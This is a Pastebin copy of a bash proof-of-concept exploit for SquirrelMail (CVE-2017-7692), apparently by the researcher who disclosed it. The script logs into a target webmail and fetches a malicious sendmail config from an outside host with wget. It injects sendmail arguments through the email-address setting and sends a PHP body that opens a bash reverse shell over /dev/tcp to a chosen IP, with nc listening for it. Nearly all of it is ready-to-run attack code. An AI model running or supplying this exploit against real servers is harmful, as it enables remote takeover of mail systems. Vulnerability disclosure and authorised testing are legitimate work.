Advertisement
Guest User

Untitled

a guest
Mar 30th, 2018
247
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.20 KB | None | 0 0
  1. # Quick and messy PoC for SquirrelMail webmail application.
  2. # It contains payloads for 2 vectors:
  3. # * File Write
  4. # * RCE
  5. # It requires user credentials and that SquirrelMail uses
  6. # Sendmail method as email delivery transport
  7. #
  8. #
  9. # Full advisory URL:
  10. # https://legalhackers.com/advisories/SquirrelMail-Exploit-Remote-Code-Exec-CVE-2017-7692-Vuln.html
  11. #
  12. # Tested on: # Ubuntu 16.04
  13. # squirrelmail package version:
  14. # 2:1.4.23~svn20120406-2ubuntu1.16.04.1
  15. #
  16. # Disclaimer:
  17. # For testing purposes only
  18. #
  19. #
  20. # -----------------------------------------------------------------
  21. #
  22. # Interested in vulns/exploitation?
  23. # Stay tuned for my new project - ExploitBox
  24. #
  25. # .;lc'
  26. # .,cdkkOOOko;.
  27. # .,lxxkkkkOOOO000Ol'
  28. # .':oxxxxxkkkkOOOO0000KK0x:'
  29. # .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.
  30. # ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl.
  31. # '';ldxxxxxdc,. ,oOXXXNNNXd;,.
  32. # .ddc;,,:c;. ,c: .cxxc:;:ox:
  33. # .dxxxxo, ., ,kMMM0:. ., .lxxxxx:
  34. # .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx:
  35. # .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx:
  36. # .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx:
  37. # .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx:
  38. # .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx:
  39. # .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx:
  40. # .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx:
  41. # .dxxxxxdl;. ., .. .;cdxxxxxx:
  42. # .dxxxxxxxxxdc,. 'cdkkxxxxxxxx:
  43. # .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,.
  44. # .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.
  45. # .':oxxxxxxxxx.ckkkkkkkkxl,.
  46. # .,cdxxxxx.ckkkkkxc.
  47. # .':odx.ckxl,.
  48. # .,.'.
  49. #
  50. # https://ExploitBox.io
  51. #
  52. # https://twitter.com/Exploit_Box
  53. #
  54. # -----------------------------------------------------------------
  55.  
  56. sqspool="/var/spool/squirrelmail/attach/"
  57.  
  58. echo -e "$int"
  59. #echo -e "\033[94m \nSquirrelMail - Remote Code Execution PoC Exploit (CVE-2017-7692) \n"
  60. #echo -e "SquirrelMail_RCE_exploit.sh (ver. 1.0)\n"
  61. #echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m\n\n"
  62.  
  63.  
  64. # Base URL
  65. if [ $# -ne 1 ]; then
  66. echo -e "Usage: \n$0 SquirrelMail_URL"
  67. echo -e "Example: \n$0 http://target/squirrelmail/ \n"
  68.  
  69. exit 2
  70. fi
  71. URL="$1"
  72.  
  73. # Log in
  74. echo -e "\n[*] Enter SquirrelMail user credentials"
  75. read -p "user: " squser
  76. read -sp "pass: " sqpass
  77.  
  78. echo -e "\n\n[*] Logging in to SquirrelMail at $URL"
  79. curl -s -D /tmp/sqdata -d"login_username=$squser&secretkey=$sqpass&js_autodetect_results=1&just_logged_in=1" $URL/src/redirect.php | grep -q incorrect
  80. if [ $? -eq 0 ]; then
  81. echo "Invalid creds"
  82. exit 2
  83. fi
  84. sessid="`cat /tmp/sqdata | grep SQMSESS | tail -n1 | cut -d'=' -f2 | cut -d';' -f1`"
  85. keyid="`cat /tmp/sqdata | grep key | tail -n1 | cut -d'=' -f2 | cut -d';' -f1`"
  86.  
  87.  
  88. # Prepare Sendmail cnf
  89. #
  90. # * The config will launch php via the following stanza:
  91. #
  92. # Mlocal, P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
  93. # T=DNS/RFC822/X-Unix,
  94. # A=php -- $u $h ${client_addr}
  95. #
  96. wget -q -O/tmp/smcnf-exp https://legalhackers.com/exploits/sendmail-exploit.cf
  97.  
  98. # Upload config
  99. echo -e "\n\n[*] Uploading Sendmail config"
  100. token="`curl -s -b"SQMSESSID=$sessid; key=$keyid" "$URL/src/compose.php?mailbox=INBOX&startMessage=1" | grep smtoken | awk -F'value="' '{print $2}' | cut -d'"' -f1 `"
  101. attachid="`curl -H "Expect:" -s -b"SQMSESSID=$sessid; key=$keyid" -F"smtoken=$token" -F"send_to=$mail" -F"subject=attach" -F"body=test" -F"attachfile=@/tmp/smcnf-exp" -F"username=$squser" -F"attach=Add" $URL/src/compose.php | awk -F's:32' '{print $2}' | awk -F'"' '{print $2}' | tr -d '\n'`"
  102. if [ ${#attachid} -lt 32 ]; then
  103. echo "Something went wrong. Failed to upload the sendmail file."
  104. exit 2
  105. fi
  106.  
  107. # Create Sendmail cmd string according to selected payload
  108. echo -e "\n\n[?] Select payload\n"
  109. # SELECT PAYLOAD
  110. echo "1 - File write (into /tmp/sqpoc)"
  111. echo "2 - Remote Code Execution (with the uploaded smcnf-exp + phpsh)"
  112. echo
  113. read -p "[1-2] " pchoice
  114.  
  115. case $pchoice in
  116. 1) payload="$squser@localhost -oQ/tmp/ -X/tmp/sqpoc"
  117. ;;
  118.  
  119. 2) payload="$squser@localhost -oQ/tmp/ -C$sqspool/$attachid"
  120. ;;
  121. esac
  122.  
  123. if [ $pchoice -eq 2 ]; then
  124. echo
  125. read -p "Reverese shell IP: " reverse_ip
  126. read -p "Reverese shell PORT: " reverse_port
  127. fi
  128.  
  129. # Reverse shell code
  130. phprevsh="
  131. <?php
  132. \$cmd = \"/bin/bash -c 'bash -i >/dev/tcp/$reverse_ip/$reverse_port 0<&1 2>&1 & '\";
  133. file_put_contents(\"/tmp/cmd\", 'export PATH=\"\$PATH\" ; export TERM=vt100 ;' . \$cmd);
  134. system(\"/bin/bash /tmp/cmd ; rm -f /tmp/cmd\");
  135. ?>"
  136.  
  137.  
  138. # Set sendmail params in user settings
  139. echo -e "\n[*] Injecting Sendmail command parameters"
  140. token="`curl -s -b"SQMSESSID=$sessid; key=$keyid" "$URL/src/options.php?optpage=personal" | grep smtoken | awk -F'value="' '{print $2}' | cut -d'"' -f1 `"
  141. curl -s -b"SQMSESSID=$sessid; key=$keyid" -d "smtoken=$token&optpage=personal&optmode=submit&submit_personal=Submit" --data-urlencode "new_email_address=$payload" "$URL/src/options.php?optpage=personal" | grep -q 'Success' 2>/dev/null
  142. if [ $? -ne 0 ]; then
  143. echo "Failed to inject sendmail parameters"
  144. exit 2
  145. fi
  146.  
  147. # Send email which triggers the RCE vuln and runs phprevsh
  148. echo -e "\n[*] Sending the email to trigger the vuln"
  149. (sleep 2s && curl -s -D/tmp/sheaders -b"SQMSESSID=$sessid; key=$keyid" -d"smtoken=$token" -d"startMessage=1" -d"session=0" \
  150. -d"send_to=$squser@localhost" -d"subject=poc" --data-urlencode "body=$phprevsh" -d"send=Send" -d"username=$squser" $URL/src/compose.php) &
  151.  
  152. if [ $pchoice -eq 2 ]; then
  153. echo -e "\n[*] Waiting for shell on $reverse_ip port $reverse_port"
  154. nc -vv -l -p $reverse_port
  155. else
  156. echo -e "\n[*] The test file should have been written at /tmp/sqpoc"
  157. fi
  158.  
  159. grep -q "302 Found" /tmp/sheaders
  160. if [ $? -eq 1 ]; then
  161. echo "There was a problem with sending email"
  162. exit 2
  163. fi
  164.  
  165.  
  166. # Done
  167. echo -e "\n[*] All done. Exiting"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement